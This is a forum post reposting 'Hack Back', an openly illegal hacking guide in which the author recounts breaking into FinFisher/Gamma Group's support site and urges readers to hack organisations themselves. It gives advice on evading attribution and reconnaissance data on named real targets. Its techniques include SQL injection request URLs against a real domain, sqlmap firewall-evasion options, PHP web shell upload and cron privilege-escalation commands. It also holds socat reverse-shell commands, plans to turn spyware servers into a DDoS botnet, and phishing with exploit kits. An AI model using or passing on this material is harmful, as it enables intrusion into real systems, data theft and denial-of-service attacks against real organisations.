Username: 
Password: 
Restrict session to IP 

Hack Back

Global Rank: 252
Totalscore: 87267
Posts: 1635
Thanks: 1336
UpVotes: 885
Registered: 16y 43d




Last Seen: 10h 16m
The User is Offline
Hack Back
Google/translate0Thank You!0Good Post!0Bad Post! link
<+xxxxxxx> http://pastebin.com/raw.php?i=cRYvK4jb

This looks like an interesting paste, and maybe it will vanish, so i paste it here too.

Of course you should not try this at home, but how to defend if you do not know how the attacker attacks?

GeSHi`ed Plaintext code
1
2
3
4
56
7
8
9
1011
12
13
14
1516
17
18
19
2021
22
23
24
2526
27
28
29
3031
32
33
34
3536
37
38
39
4041
42
43
44
4546
47
48
49
5051
52
53
54
5556
57
58
59
6061
62
63
64
6566
67
68
69
7071
72
73
74
7576
77
78
79
8081
82
83
84
8586
87
88
89
9091
92
93
94
9596
97
98
99
100101
102
103
104
105106
107
108
109
110111
112
113
114
115116
117
118
119
120121
122
123
124
125126
127
128
129
130131
132
133
134
135136
137
138
139
140141
142
143
144
145146
147
148
149
150151
152
153
154
155156
157
158
159
160161
162
163
164
165166
167
168
169
170171
172
173
174
175176
177
178
179
180181
182
183
184
185186
187
188
189
190191
192
193
194
195196
197
198
199
200201
202
203
204
205206
207
208
209
210211
212
213
214
215216
217
218
219
220221
222
223
224
225226
227
228
229
230231
232
233
234
235236
237
238
239
240241
242
243
244
245246
247
248
249
250251
252
253
254
255256
257
258
259
260261
262
263
264
265266
267
268
269
270271
272
273
274
275276
277
278
279
280281
282
283
284
285286
287
288
289
290291
292
293
294
295296
297
298
299
300301
302
303
304
305306
307
308
309
310311
312
313
314
315316
317
318
319
320321
322
323
324
325326
327
328
329
330331
332
333
334
335336
337
338
339
340341
342
343
344
345346
347
348
349
350351
352
353
354
355356
357
358
359
360361
362
363
364
365366
367
368
369
370371
372
373
374
375376
377
378
379
380381
382
383
384
385386
387
388
389
390391
392
393
394
395396
397
398
399
400401
402
403
404
405406
407
408
409
 
                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
                                                 
     A DIY Guide for those without the patience to wait for whistleblowers
 
 --[ 1 ]-- Introduction
 
I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you've learned the basics you'll realize this
really is easier than filing a FOIA request.
  
--[ 2 ]-- Staying Safe
 
This is illegal, so you'll need to take same basic precautions:
 1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks to Whonix is
   probably sufficient, it's better to not use an internet connection connected
   to your name or address. A cantenna, aircrack, and reaver can come in handy
   here.
 
[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix
 As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.
 
NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you'll want a public IP address to
receive connect back shells. I recommend using servers you've hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you're running will
have a nice fast connection to your target.
  
--[ 3 ]-- Mapping out the target
 
Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.
 
[0] http://ha.ckers.org/fierce/
 
For an example let's take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228   email.academi.com
67.238.84.242   extranet.academi.com
67.238.84.240   mail.academi.com
67.238.84.230   secure.academi.com
67.238.84.227   vault.academi.com
54.243.51.249   www.academi.com
 
Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange:       67.238.84.224 - 67.238.84.255
CIDR:           67.238.84.224/27
CustName:       Blackwater USA
Address:        850 Puddin Ridge Rd
 Doing a whois lookup on academi.com reveals it's also registered to the same
address, so we'll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
"850 Puddin Ridge Rd" inurl:ip-address-lookup
"850 Puddin Ridge Rd" inurl:domaintools
 
Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you've found everything.
 
Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203  careers.academi.com
67.132.195.12   academiproshop.com
67.238.84.236   te.academi.com
67.238.84.238   property.academi.com
67.238.84.241   teams.academi.com
 If you repeat the whois lookups and such you'll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.
 
In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
"FinFisher GmbH". Googling for:
"FinFisher GmbH" inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com
 ...so now you've got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.
  
--[ 4 ]-- Scanning & Exploiting
 
Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.
 
Now for each service you find running:
 
1) Is it exposing something it shouldn't? Sometimes companies will have services
running that require no authentication and just assume it's safe because the url
or IP to access it isn't public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.
 
2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
default password.
 
3) Is it running an old version of software vulnerable to a public exploit?
 
 
Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:
 1) Browse them. Especially on subdomains that fierce finds which aren't intended
for public viewing like test.company.com or dev.company.com you'll often find
interesting stuff just by looking at them.
 
2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.
 
3) Identify what software is being used on the website. WhatWeb is useful [1]
 4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].
 
First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it's time to move
on to finding a new vulnerability:
 
5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.
 
6) For the non-custom software they're running, get a copy to look at.  If it's
free software you can just download it. If it's proprietary you can usually
pirate it. If it's proprietary and obscure enough that you can't pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that's easier to hack, and get a copy from them.
 
[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/
  
For finsupport.finfisher.com the process was:
 
* Start nikto running in the background.
 * Visit the website. See nothing but a login page. Quickly check for sqli in the
  login form.
 
* See if WhatWeb knows anything about what software the site is running.
 * WhatWeb doesn't recognize it, so the next question I want answered is if this
  is a custom website by Gamma, or if there are other websites using the same
  software.
 
* I view the page source to find a URL I can search on (index.php isn't
  exactly unique to this software). I pick Scripts/scripts.js.php, and google:
  allinurl:"Scripts/scripts.js.php"
 
* I find there's a handful of other sites using the same software, all coded by
  the same small webdesign firm. It looks like each site is custom coded but
  they share a lot of code. So I hack a couple of them to get a collection of
  code written by the webdesign firm.
 
At this point I can see the news stories that journalists will write to drum
up views: "In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group..."
 
But it's really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:
 
* google allinurl:"Scripts/scripts.js.php" and find the other sites
 
* Notice they're all sql injectable in the first url parameter I try.
 * Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
  the option --tamper='tamper/modsecurityversioned.py'
 
* Acquire the admin login information, login and upload a php shell [1] (the
  check for allowable file extensions was done client side in javascript), and
  download the website's source code.
 
[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/
 Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
javascript, and if you're unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.
 
[0] http://www.dvwa.co.uk/
 
Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
sqli (it's nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it's
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap --file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.
 
Looking through the source, I see customers can attach a file to their support
tickets, and there's no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I'm in!
 
 
--[ 5 ]-- (fail at) Escalating
  ___________ 
< got r00t? >
 ----------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
            ^^^^^^^^^^^^^^^^
 Root over 50% of linux servers you encounter in the wild with two easy scripts,
Linux_Exploit_Suggester [0], and unix-privesc-check [1].
 
[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/
 
finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer
 
so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell
 
wait an hour, and ....nothing. Turns out that while the cron process is running
it doesn't seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn't update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that's probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn't get much of anything new, so I move
on to the rest of the network.
 
 
--[ 6 ]-- Pivoting
 
The next step is to look around the local network of the box you hacked.  This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.
 
The only interesting thing I could get on finsupport's local network was another
webserver serving up a folder called 'qateam' containing their mobile malware.
 
 
--[ 7 ]-- Have Fun
 
Once you're in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there's no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
   who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.
 
It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!
 
 
--[ 8 ]-- Other Methods
 
The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There's no one right way, and any method that works is as good as
any other. The other main ways that I'll state without going into detail are:
 
1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don't
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There's also
metasploit browser autopwn, but you'll probably have better luck with no
exploits and a fake flash updater prompt.
 
2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: "Social Engineering". This is probably the way to go if you don't know
too much about computers, and it really is all it takes to be a successful
hacker [0].
 
[0] https://www.youtube.com/watch?v=DB6ywr9fngU
 
 
--[ 9 ]-- Resources
 
Links:
 
* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
  (all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  One trick it leaves out is that on most systems the apache access log is
  readable only by root, but you can still include from /proc/self/fd/10 or
  whatever fd apache opened it as. It would also be more useful if it mentioned
  what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
  Get usable reverse shells with a statically linked copy of socat to drop on
  your target and:
  target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
  host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
  It's also useful for setting up weird pivots and all kinds of other stuff.
 Books:
 
* The Web Application Hacker's Handbook
* Hacking: The Art of Exploitation
* The Database Hacker's Handbook
* The Art of Software Security Assessment
* A Bug Hunter's Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated
 Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.
 
 
--[ 10 ]-- Outro
 
You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It's not selling hacking tools that makes Gamma evil. It's who their
customers are targeting and with what purpose that makes them evil. That's not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it's cheaper to attack than to defend it's harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.
 Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!
 
The geeks shall inherit the properties and methods of object earth.
tunelko, quangntenemy, TheHiveMind, Z, balicocat, Ge0, samuraiblanco, arraez, jcquinterov, hophuocthinh, alfamen2, burhanudinn123, Ben_Dover, stephanduran89, braddie0, SwolloW, dangarbri have subscribed to this thread and receive emails on new posts.
1 people are watching the thread at the moment.
This thread has been viewed 16612 times.